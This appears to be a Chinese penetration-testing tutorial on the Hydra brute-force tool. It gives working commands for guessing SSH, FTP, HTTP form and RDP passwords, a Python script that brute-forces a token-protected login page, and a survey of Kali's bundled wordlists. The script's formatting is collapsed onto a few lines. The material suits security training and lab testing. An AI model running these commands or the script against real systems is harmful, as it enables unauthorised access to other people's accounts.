工具的使用 | Hydra暴力破解工具的用法

admin 2022年2月2日23:35:33评论184 views字数 6257阅读20分51秒阅读模式


目录


                   

    Hydra

    常见参数

    破解SSH

    破解FTP

    破解HTTP

    破解3389远程登录

    Kali自带密码字典

    dirb

    dirbuster

    fern-wifi

    metasploit

    wfuzz

Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。

目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。

由于Kali中自带Hydra,所以怎么安装就不讲了,下面直接讲如何用它。


工具的使用 | Hydra暴力破解工具的用法
常见参数

· -R:继续从上一次进度接着破解

· -S:大写,采用SSL链接

· -s  <PORT>:小写,可通过这个参数指定非默认端口

· -l  <LOGIN>:指定破解的用户,对特定用户破解

· -L  <FILE>:指定用户名字典

· -p  <PASS>:小写,指定密码破解,少用,一般是采用密码字典

· -P  <FILE>:大写,指定密码字典

· -e  <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探

· -C  <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数

· -M  <FILE>:指定目标列表文件一行一条

· -o  <FILE>:指定结果输出文件

· -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

· -t <TASKS>:同时运行的线程数,默认为16

· -w <TIME>:设置最大超时的时间,单位秒,默认是30s

· -v / -V:显示详细过程

· server:目标ip

· service:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http

展开收缩
-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

· OPT:可选项

破解SSH

hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh   #-L指定用户字典 -P 指定密码字典  -o把成功的输出到ssh.txt文件 -vV显示详细信息

工具的使用 | Hydra暴力破解工具的用法

破解FTP

hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息

工具的使用 | Hydra暴力破解工具的用法

破解HTTP

我们拿DVWA测试破解HTTP,破解HTTP,需要分析数据包的提交格式

GET方式:

工具的使用 | Hydra暴力破解工具的用法

分析数据包,我们得到下面的命令

hydra -L user.txt -P passwd.txt -o http_get.txt -vV 10.96.10.208 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3

#前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,F=后面是代表密码错误时的关键字符串 ,H后面是cookie信息

工具的使用 | Hydra暴力破解工具的用法

POST方式: 

工具的使用 | Hydra暴力破解工具的用法

分析数据包,得到下面的破解命令

hydra -L user.txt -P passwd.txt -t 3 -o http_post.txt -vV 10.96.10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"

#前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,S等于的是密码正确时返回应用的关键字符串

但是新版的DVWA采用了token的验证方式,每次登录的token都是不一样的,所以不能用hydra来破解。目前,大多数网站登录都采用了token验证,所以,都不能使用Hydra来破解。

我们可以自己写一个python脚本来破解。 

# -*- coding: utf-8 -*-"""Created on Sat Nov 24 20:42:01 2018@author: 小谢"""import urllibimport requestsfrom bs4 import BeautifulSoup##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和tokendef get_cookie_token():    headers={'Host':'127.0.0.1',             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',             'Connection':'keep-alive',             'Upgrade-Insecure-Requests':'1'}    res=requests.get("http://127.0.0.1/login.php",headers=headers)    cookies=res.cookies    a=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和token    html=res.text    soup=BeautifulSoup(html,"html.parser")    token=soup.form.contents[3]['value']    a.append(token)    return a
##第二步模拟登陆
def Login(a,username,password):    #a是包含了cookie和token的列表    headers={'Host':'127.0.0.1',             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',             'Connection':'keep-alive',             'Content-Length':'88',             'Content-Type':'application/x-www-form-urlencoded',             'Upgrade-Insecure-Requests':'1',             'Cookie':a[0],             'Referer':'http://127.0.0.1/login.php'}    values={'username':username,            'password':password,            'Login':'Login',            'user_token':a[1]        }    data=urllib.parse.urlencode(values)    resp=requests.post("http://127.0.0.1/login.php",data=data,headers=headers)    return #重定向到index.phpdef main():    with open("user.txt",'r'as f:        users=f.readlines()        for user in users:            user=user.strip("n")                 #用户名            with open("passwd.txt",'r'as file:               passwds=file.readlines()                for passwd in passwds:                    passwd=passwd.strip("n")   #密码                    a=get_cookie_token()              ##a列表中存储了服务器返回的cookie和toke                    Login(a,user,passwd)                    headers={'Host':'127.0.0.1',                              'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',                              'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',                              'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',                              'Connection':'keep-alive',                              'Upgrade-Insecure-Requests':'1',                              'Cookie':a[0],                              'Referer':'http://127.0.0.1/login.php'}                    response=requests.get("http://127.0.0.1/index.php",headers=headers)                    if response.headers['Content-Length']=='7524':    #如果登录成功                       print("用户名为:%s ,密码为:%s"%(user,passwd))   #打印出用户名和密码                       breakif __name__=='__main__': main()



脚本运行截图

工具的使用 | Hydra暴力破解工具的用法

破解3389远程登录

hydra 202.207.236.4 rdp -L user.txt -P passwd.txt -V

工具的使用 | Hydra暴力破解工具的用法



工具的使用 | Hydra暴力破解工具的用法
Kali自带密码字典

暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下

工具的使用 | Hydra暴力破解工具的用法

dirb

工具的使用 | Hydra暴力破解工具的用法


big.txt #大的字典

small.txt #小的字典

catala.txt #项目配置字典

common.txt #公共字典

euskera.txt #数据目录字典

extensions_common.txt #常用文件扩展名字典

indexes.txt #首页字典

mutations_common.txt #备份扩展名

spanish.txt #方法名或库目录

others #扩展目录,默认用户名等

stress #压力测试

vulns #漏洞测试


dirbuster

工具的使用 | Hydra暴力破解工具的用法

apache-user-enum-** #apache用户枚举

directories.jbrofuzz #目录枚举

directory-list-1.0.txt #目录列表大,中,小 bigmediumsmall


fern-wifi

工具的使用 | Hydra暴力破解工具的用法

common.txt #公共wifi账户密码

metasploit

metasploit下有各种类型的字典

工具的使用 | Hydra暴力破解工具的用法

wfuzz

模糊测试,各种字典

工具的使用 | Hydra暴力破解工具的用法



工具的使用 | Hydra暴力破解工具的用法

:浮夸

工具的使用 | Hydra暴力破解工具的用法

工具的使用 | Hydra暴力破解工具的用法
工具的使用 | Hydra暴力破解工具的用法
由于文章篇幅较长,请大家耐心。如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)
工具的使用 | Hydra暴力破解工具的用法
工具的使用 | Hydra暴力破解工具的用法

工具的使用 | Hydra暴力破解工具的用法

本文始发于微信公众号(谢公子学安全):工具的使用 | Hydra暴力破解工具的用法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月2日23:35:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   工具的使用 | Hydra暴力破解工具的用法https://cn-sec.com/archives/484653.html

发表评论

匿名网友 填写信息